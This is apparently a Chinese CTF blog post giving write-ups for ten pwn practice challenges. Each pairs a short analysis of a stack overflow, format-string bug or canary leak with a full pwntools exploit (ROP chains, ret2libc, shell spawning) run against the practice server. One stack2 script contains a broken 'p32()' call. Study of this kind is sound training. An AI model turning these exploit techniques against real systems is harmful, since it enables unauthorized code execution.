攻防世界PWN刷题1
1. dice_game
XCTF 4th-QCTF-2018
IDA打开程序分析,发现是一个随机数的小游戏
在这个地方存在溢出,可以把seed给覆盖掉,把seed覆盖为0,然后自己写个程序看随机数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #include <stdio.h> #include <stdlib.h>
int main() { srand(0);
for(int i =0; i < 50; i ++) { int tmp = rand() % 6 + 1; printf("%d, ", tmp); } return 0; }
|
然后写EXP即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import *
context.log_level = "debug"
io = remote("111.200.241.244", 53975)
payload = b'A'* 55 payload = payload.ljust(0x48, b'\x00')
number = [2, 5, 4, 2, 6, 2, 5, 1, 4, 2, 3, 2, 3, 2, 6, 5, 1, 1, 5, 5, 6, 3, 4, 4, 3, 3, 3, 2, 2, 2, 6, 1, 1, 1, 6, 4, 2, 5, 2, 5, 4, 4, 4, 6, 3, 2, 3, 3, 6, 1]
io.sendafter("name: ", payload)
for i in range(50): io.sendlineafter("6): ", str(number[i]).encode())
io.recvuntil("\n") flag = io.recv() log.info("flag: %s" % flag)
|
2. forgot
backdoorctf-2015
IDA打开分析,程序存在后门,地址是0x80486CC的位置,只需要让程序最终执行这个函数就OK了
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import *
context.log_level = "debug"
io = remote('111.200.241.244', 56237)
io.sendlineafter("> ", b'123') payload = b'A'*32 payload += p32(0x80486CC) payload += p32(0x80486CC) payload += p32(0x80486CC) payload += p32(0x80486CC) payload += p32(0x80486CC) payload += p32(0x80486CC) payload += p32(0x80486CC) payload += p32(0x80486CC) payload += p32(0x80486CC) payload += p32(0x80486CC) payload += p32(0x80486CC)
payload += b'A' * (32 - 4) payload += p32(1)
io.sendlineafter("> ", payload) io.recv()
|
3. Mary_Morton
ASIS-CTF-Finals-2017
IDA打开程序分析,发现即存在栈溢出漏洞,也存在格式化字符串漏洞,所以用格式化字符串漏洞泄露canary,然后再利用缓冲区溢出调用后门获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * context.log_level = "debug"
io = remote('111.200.241.244', 62874)
io.sendlineafter(b"battle \n", b'2') io.send(b"%23$p") canary = int(io.recvuntil("battle \n")[:18], 16) log.info("leak_canary: 0x%x" % canary)
backdoor = 0x04008DA io.sendline(b'1') ret_addr = 0x4008EA payload = b'A' * 136 + p64(canary) + b'A'*8 + p64(ret_addr) + p64(backdoor) io.send(payload) io.recvuntil('\n') flag = io.recv() log.info("flag: {}". format(flag))
|
4. stack2
XCTF 4th-QCTF-2018
IDA打开程序分析,这个地方存在泄露,可以将返回地址覆盖掉
本来是把返回地址覆盖为hackhere函数,但是pwn的时候,系统显示找不到bash。。。然后又利用puts函数打印出puts的地址和__libc_start_main的地址去libc-database搜,但是搜不到对应的libc,又想在栈上构造/bin/sh,但是无法泄露出栈的地址,,,无奈之下,看了别人的WP,原来执行system(sh)也可以,不用加路径。。。。EXP为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import *
io = remote("111.200.241.244", 50279)
backdoor = 0x804859B backdoor_addr_bytes = p32(backdoor)
io.sendlineafter("you have:\n", b'0')
def auto_send(data, _offset=132): for i in range(len(data)): io.sendlineafter('exit\n', b'3') io.sendlineafter('number to change:\n', str(_offset+i).encode()) io.sendlineafter('new number:\n', str(data[i]).encode()) sh_addr = 0x8048987 system_addr = 0x8048450
payload = p32()+ b'A' * 4 + p32(sh_addr)
auto_send(payload)
io.sendlineafter('exit\n', b'5') io.interactive()
|
5. pwn-100
L-CTF-2016
泄露地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * from binascii import *
io = process("bee9f73f50d2487e911da791273ae5a3") io = remote("111.200.241.244", 61302) elf = ELF("bee9f73f50d2487e911da791273ae5a3")
pop_rdi_addr = 0x00400763
context.log_level = "debug" payload = b'A' * 72 + p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) payload += p64(pop_rdi_addr) + p64(elf.got['setbuf']) + p64(elf.plt['puts']) payload += p64(pop_rdi_addr) + p64(elf.got['read']) + p64(elf.plt['puts']) payload += p64(pop_rdi_addr) + p64(elf.got['__libc_start_main']) + p64(elf.plt['puts'])
payload = payload.ljust(200, b'A')
io.send(payload) io.recvuntil("bye~\n")
res = io.recvline(6) log.info("puts: %s" % hexlify(res[::-1][1:]))
res = io.recvline(6) log.info("setbuf: %s" % hexlify(res[::-1][1:]))
res = io.recvline(6) log.info("read: %s" % hexlify(res[::-1][1:]))
res = io.recvline(6) log.info("__libc_start_main: %s" % hexlify(res[::-1][1:]))
|
然后去libc-database查询libc
exp为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * from binascii import *
io = remote("111.200.241.244", 61302) elf = ELF("bee9f73f50d2487e911da791273ae5a3")
pop_rdi_addr = 0x00400763 puts_offset = 0x6f690 str_bin_sh_offset = 0x18cd57 system_offset = 0x45390 read200func_addr = 0x040068E
context.log_level = "debug" payload = b'A' * 72 + p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(read200func_addr) payload = payload.ljust(200, b'A')
io.send(payload) io.recvuntil("bye~\n") puts_addr = u64(io.recvline()[:-1].ljust(8, b'\x00')) log.info("puts : %s" % hex(puts_addr))
libc_base = puts_addr - puts_offset payload = b'A' * 72 + p64(pop_rdi_addr) + p64(libc_base + str_bin_sh_offset) + p64(libc_base + system_offset) payload = payload.ljust(200, b'A')
io.send(payload) io.recvuntil("bye~\n")
io.interactive()
|
6. warmup
csaw-ctf-2016-quals
题目没有附件,先nc看看
程序输出了一个地址,因为是0X400000 + 0X60D猜测这是get_shell或输出flag的地址,然后让咱们输入,输入格式化字符串的数据并没有什么效果,猜测是栈溢出,然后写脚本爆破即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import *
addr = 0x40060d def pwn(): for i in range(0, 100): payload = b'A' * i + p64(addr) try: io = remote("111.200.241.244", 51136) io.sendlineafter(">", payload) c = io.recv() log.info("{}: Info: {}".format(i, c)) continue except EOFError as e: log.info("badsize: %d" % i) io.close()
pwn()
|
7. 反应釜开关控制
XCTF 4th-CyberEarth
下载附件,IDA查看就是普通的栈溢出,溢出3次,即可getshell,或者第一次溢出就改为get shell的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import *
io = process("./ad72d90fbd4746ac8ea80041a1f661c2") io = remote("111.200.241.244", 51643) io.recvuntil("witch is:") easy_addr = int(io.recvuntil("\n").decode(), 16) log.info("easy addr: 0x%x" % easy_addr)
payload1 = b'A' * 520 + p64(easy_addr) io.sendline(payload1)
io.recvuntil("witch is:") normal_addr = int(io.recvuntil("\n").decode(), 16) log.info("normal addr: 0x%x" % normal_addr)
payload2 = b'A' * 392 + p64(normal_addr) io.sendline(payload2)
io.recvuntil("witch is:") shell_addr = int(io.recvuntil("\n").decode(), 16) log.info("shell addr: 0x%x" % shell_addr)
payload3 = b'A'* 264 + p64(shell_addr) io.sendline(payload3)
io.interactive()
|
8. 实时数据监测
IDA打开分析,格式化字符串漏洞,直接用fmtstr_payload 构造payload即可
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
key_address = 0x0804A048 value = 0x2223322
io = remote('111.200.241.244', 62045) payload = fmtstr_payload(12, {key_address: value})
io.send(payload) io.interactive()
|
9. welpwn
RCTF-2015
IDA打开程序分析
这个位置存在栈溢出漏洞,但是会被\0截断,在strcmp那里下断点,即让它复制完之后下断点,观察栈的数据,发现截断后的数据紧跟着原始数据
这样就可以构造ROP链泄露出puts的地址,进而搜到libc的地址,然后再找到system的地址就OK了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import *
elf = ELF("81f42c219e81421ebfd1bedd19cf7eff")
io = remote("111.200.241.244", 62546) context.log_level = "debug"
c = io.recv()
pop_rdi_addr = 0x04008a3 pop_r13_r14_r15_addr = 0x040089e
payload = b'A' * 24 payload += p64(pop_r13_r14_r15_addr) payload += b'A' * 24 payload += p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) payload += p64(pop_rdi_addr) + p64(elf.got['write']) + p64(elf.plt['puts']) payload += p64(pop_rdi_addr) + p64(elf.got['read']) + p64(elf.plt['puts']) payload += p64(0x0004007CD)
io.sendline(payload)
io.recvuntil(b"\x40") puts_addr_byte = u64(io.recvline(6)[:-1].ljust(8, b'\x00')) log.info("puts_addr: %s" % hex(puts_addr_byte))
write_addr_byte = u64(io.recvline(6)[:-1].ljust(8, b'\x00')) log.info("write_addr: %s" % hex(write_addr_byte))
read_addr_byte = u64(io.recvline(6)[:-1].ljust(8, b'\x00')) log.info("read_addr: %s" % hex(read_addr_byte))
libc_base = write_addr_byte - 0xf72b0 ret_addr = 0x00004007CC log.info("libc_base: %s" % hex(libc_base)) system_address = libc_base + 0x45390 str_bin_sh_address = libc_base + 0x18cd57 payload2 = b'A' * 24 payload2 += p64(pop_r13_r14_r15_addr) payload2 += b'A' * 24 payload2 += p64(ret_addr) payload2 += p64(pop_rdi_addr) + p64(str_bin_sh_address) payload2 += p64(system_address)
io.sendline(payload2) io.interactive()
|
这里有个地方要注意一下
在构造ROP链的时候直接打印puts,write,read函数地址,然后如果下面没有stop gadget的话,在下面ecv()的时候,如果是process就可以接收到,但是remote就EOF了,如果在构造ROP链的时候在 p64(pop_rdi_addr) + p64(elf.got[‘puts’]) + p64(elf.plt[‘puts’]) 之后加一个stop gadgets,这样就可以了,估计是没加stop_gadgets,还没有recv,程序就挂了, 比如下面这种代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import *
elf = ELF("81f42c219e81421ebfd1bedd19cf7eff") io = remote('127.0.0.1', 10001) context.log_level = "debug"
c = io.recv()
pop_rdi_addr = 0x04008a3 pop_r13_r14_r15_addr = 0x040089e
payload = b'A' * 24 payload += p64(pop_r13_r14_r15_addr) payload += b'A' * 24 payload += p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(pop_rdi_addr) + p64(elf.got['write']) + p64(elf.plt['puts']) payload += p64(pop_rdi_addr) + p64(elf.got['read']) + p64(elf.plt['puts'])
io.sendline(payload) io.recv()
|
10. pwn1
厦门邀请赛
IDA打开分析
存在栈溢出漏洞,但是程序开了栈保护,所以得首先泄露出canary
由于程序是输入2是打印,所以可以输入足够长的数据一直到正好不覆盖canary,然后输入1,将cannary顺带这打印出来,就达到了泄露canary的目的,
这样就可以构造ROP链打印puts函数地址然后再返回main函数,打印puts函数地址是为了获取libc的基地址,进而获得system函数的地址,重新回到main函数这里是为了再次输入构造ROP链执行system(“bin/sh”),但是执行system(“bin/sh”)的时候有问题,服务器总是提示错误,于是我将bin/sh的地址换成了ls的地址,可以打印出目录下的文件,所以还需要调用read函数。输入’cat flag’, 然后执行system(‘cat flag’)
cat flag字符串把它存在0x601000的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import *
elf = ELF("babystack")
libc = ELF("libc-2.23.so") io = remote("111.200.241.244", 56538)
context.log_level = "debug" pop_rdi_addr = 0x0400a93 pop_rsi_r15_addr = 0x0400a91 main_addr = 0x0400908
payload = b"A" * 136 io.sendafter(b">> ", b'1') io.sendline(payload) io.sendafter(b">> ", b'2') io.recvuntil(b"\n") cnanry_byte = io.recv(7) canary = u64(cnanry_byte.rjust(8, b'\x00')) log.info("canary : 0x%x" % canary) io.sendafter(b">> ", b'1')
cat_flag_addr = 0x000000601000 payload = b'A' * 136 + p64(canary) +p64(0) payload += p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) payload += p64(pop_rdi_addr) + p64(0) payload += p64(pop_rsi_r15_addr) +p64(cat_flag_addr) + p64(0) payload += p64(elf.plt['read']) payload += p64(main_addr)
io.send(payload) io.sendafter(b">> ", b'3')
puts_address = u64(io.recv(6).ljust(8, b'\x00')) log.info("puts_address: %s" % hex(puts_address)) libc_base = puts_address - libc.symbols['puts'] log.info("libc_base: %s" % hex(libc_base))
io.send(b'cat flag')
io.sendafter(b">> ", b'1')
system_addr = libc_base + libc.symbols['system']
payload = b"A" * 136 + p64(canary) +p64(0) payload += p64(0x400A2A) payload += p64(pop_rdi_addr) + p64(cat_flag_addr) + p64(system_addr)
io.send(payload) io.sendafter(b">> ", b'3') io.recv()
|